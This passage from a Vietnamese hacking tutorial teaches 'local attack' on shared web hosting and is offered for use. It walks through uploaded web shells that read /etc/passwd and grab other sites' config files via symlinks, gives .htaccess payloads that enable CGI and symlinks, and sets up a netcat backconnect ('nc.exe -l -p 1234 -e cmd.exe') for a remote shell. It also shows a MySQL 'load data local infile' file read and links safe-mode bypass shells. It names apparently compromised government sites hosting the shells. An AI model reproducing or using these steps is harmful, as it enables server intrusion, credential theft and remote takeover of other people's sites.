      -          Vào link của thư mục tmp sẽ có 1 số shell với các chức năng sau:

+             dz.sa : Đây là shell cgi, sử dụng nó để get các user trên server bằng cách thực thi câu lệnh: cat /etc/passwd, more /etc/passwd ( Pass login là: dz ).

+             user.sa : Shell này dung để xem danh sách các user và domain trên server.

+             config.sa : Shell này có nhiệm vụ thực thi get all config bằng phương pháp symlink

      -          Vào link shell  http://www.vksbinhphuoc.gov.vn/soleil/tmp/config.sa

 

      -          Coppy toàn bộ thông tin user có được từ câu lệnh: cat /etc/passwd vào khung như hình ảnh dưới đây rồi ấn  “get config”

     -          Cuối cùng trở lại link http://vksbinhphuoc.gov.vn/soleil/tmp/, chúng ta sẽ có được danh sách các file config của các site trên server.

 *   Đặc điểm của con shell get all config này:

+             Là 1 công cụ cực kỳ thuận tiện, giảm bớt thời gian và công sức khi local attack

+             Chỉ sử dụng đối với các server cho chạy shell cgi và cho quyền symlink

+             Không bypass được, chỉ symlink đối với các site chưa chmod và có path dẫn đến file config là mặc định.

      6-      Symbolink Root:

-          Download file r00t.tar.gz về và upload lên host:

http://www.mediafire.com/?21kycoh4g5s4ojo  ( pass download: soleil_vhb, pass dải nén: ceh.vn )

-          Sau đó giải nén file root.tar.gz, sử dụng lệnh sau:

Tar –zxvf r00t.tar.gz

-          Up file .htacess  cùng thư mục với file r00t:

Options all

DirectoryIndex Sux.html

AddType text/plain .php

AddHandler server-parsed .php

AddType text/plain .html

AddHandler txt .html

Require None

Satisfy Any

-          Nếu không sủ dụng file r00t.tar.gz đó, có thể thực hiện sym root ngay trên shell

Demo:

http://tnmthatinh.gov.vn/soleil/r00t/

Và đây là cấu trúc của trường http://cdhh.edu.vn/

http://tnmthatinh.gov.vn/soleil/r00t/home/cdhh/public_html/

      7-      Backconnet:

Có thể hiểu đơn giản là kết nối bằng cổng sau, nghĩa là sử dụng shell backconnet và tool netcat (nc.exe) để mở sẵn 1 cổng trên server, sau đó từ máy tính của attacker kết nối với server qua cổng đã được mở sẵn đó. Mọi câu lệnh thực thi đối với server có thể thực hiện trên máy tính của attacker qua command line.

Đồ nghề cần thiết:

-          Tool netcat (nc.exe)

http://www.mediafire.com/?npsob8c7dd9nr40

-          Shell back connect đối với asp:

http://www.mediafire.com/?etciiuskzvyhjcw

Chú ý, trong shell có 1 đoạn code như: "G:\domains\tvled.vn\wwwroot\austdoor\design\nc.exe -l -p 1234 -e cmd.exe -d"

Lúc up shell lên  cần edit lại “G:\domains\tvled.vn\wwwroot\austdoor\design\”thành path của server dẫn tới file nc.exe.

-          Shell backconnet đối với php

http://www.mediafire.com/?8o1sj35cs51lsiw

( Pass unlock soleil_vhb; Pass dải nén: ceh.vn )

-          Download tool nc.exe rồi đặt trong ổ C chẳng hạn, sau đó mở cửa sổ command line và sử dụng netcat để mở cổng trên local host kết nối với server đã mở sẵn cổng

-          Cú pháp:  +  chế độ kết nối    : nc [-tùy_chọn] tên_máy cổng1[-cổng2]
                  + chế độ lắng nghe: nc -l -p cổng [-tùy_chọn] [tên_máy] [cổng]

Một số câu lệnh có thể sử dụng:

nc -nvv -l -p 80

nc -lvvnp 3333

nc -nvv -l -p 12345

nc 127.0.0.1 7777

nc -vv -l -p 7777

nc -vlp 443

                +             -l:  đặt netcat vào chế độ lắng nghe để chề kết nối đến

                +             -n: Chỉ dùng ip ở dang số, ví dụ: 123.30.2.42, netcat sẽ ko xét đến DNS.

                +             -p: Chỉ định cổng cần lắng nghe hay kết nối

                +             -v: Hiện thi các thông tin về kết nối hiện tại.  –vv sẽ hiện thị thông tin chi tiết hơn nữa.

-          Lưu ý là cần coppy nc.exe vào 1 vị trí nào trong máy rồi sử dụng command đến thư mục chứa nc.exe trước khi thực hiện các câu lệnh liên quan đến netcat

-          Sauk hi đã backconnect thành công thì tiến hành local đơn giản chỉ bằng 1 câu lệnh coppy shell từ site đã up được shell tới site victim.

       8-      Via SQL

-          Login vào database và tạo 1 table để load các thông tin bằng cách sử dụng querry sau

create table soleil ( ducdung08clc varchar (1024));

-          Query load các thông tin  vào table table vừa được tạo:

load data local infile '/etc/passwd' into table soleil

Có thể thay câu lệnh “/etc/passwd” bằng path dẫn đến file config.

-          Query hiện thị các thông tin được load vào table soleil:

select * from soleil

-          Phương pháp này được gọi là Via SQL, chủ yếu sử dụng khi server không cho chạy run command và có thể bypass đối với 1 số server.

1         số lưu ý:      

-           Đối với 1 số server Safe_mod: ON,  thì shel không có chức năng run command để thực thi các câu lệnh, vậy làm sao có thể local được.  Giải pháp được nghĩ đến là sử dụng shell cgi:

+         Soleil.pin

http://www.mediafire.com/?4k94v1i0shmr46c

Cách sử dụng:

-          Up shell soleil.pin và chmod nó về 755

-          Up hoặc tạo file .htaccess trong thư mục chứa shell có nội dung:

## START ##

Options +ExecCGI

AddHandler cgi-script cgi pl cgi gmc pin jpg

RewriteEngine on

RewriteRule (.*)\.mil$ $1.cgi

Options +FollowSymLinks

DirectoryIndex cmd.html

Options +Indexes

RemoveHandler .hack

AddType text/plain .hack

## milw0rmvn exploit ##

Hoặc:

Options FollowSymLinks MultiViews Indexes ExecCGI

AddType application/x-httpd-cgi .cin

AddHandler cgi-script .pin

AddHandler cgi-script .pin

+             telnet.pl

http://www.mediafire.com/?t9cavs1n0ipthq1

shell telnet.pl có chức năng hoàn toàn tương tự với con shell soleil.pin. Tuy nhiên cách thức sử dụng nó thì đơn giản hơn nhiều vì không phải sử dụng đến file .htaccess mà chỉ cần chmod nó về 755 là chạy được.

( Pass unlock: soleil_vhb, pass dải nén nếu có : ceh.vn )

-          *   Đối với các server không có chức năng run command và cũng không cho chạy shell cgi thì có thể sử dụng các shell sau để bypass đơn giản đối với 1 số server.

                +             fakesymlink.php

http://www.mediafire.com/?fc9kencnilx0rm4( 5.2.12 -> 5.3.1

http://www.mediafire.com/?kmid8rahl5wjh74( version 5.3 -> 5.4 )

                +             529bypass.php

                http://www.mediafire.com/?cls0e5k873w83ef

                +             Bypassnull.php

http://www.mediafire.com/?1x0zxmig5ctwezr

 

                +             Hoặc sử dụng safe mode bypass

http://www.mediafire.com/download.php?38d13jgqw132db2

 

                +             Sử dụng các chức năng bypass trên con shell r57vip này ( nên convert domain sang dạng ip)

http://www.mediafire.com/?sqjs5du3srlifqt

               

                +             Hoặc sử dụng via sqli

v.v….

(Tất cả các shell download trên đều có pass unlock: vhb_soleil và pass dải nén nếu có: ceh.vn)

              Trong bài tut trên soleil đã giới các phương pháp local attack cơ bản và các dạng bypass cơ bản nhất có thể sử dụng. Trong bài tiếp theo soleil sẽ đề cập đến các dạng bypass nâng cao đối với 1 số server khó, các thủ thuật vượt chmod qua 400 permission, chiếm quyền điều khiển root (get root) và các kỹ thuật up shell đối với 1 số mã nguồn mở như: joomla, worpress, nukeviet, vbulletin, drupal……

readmore...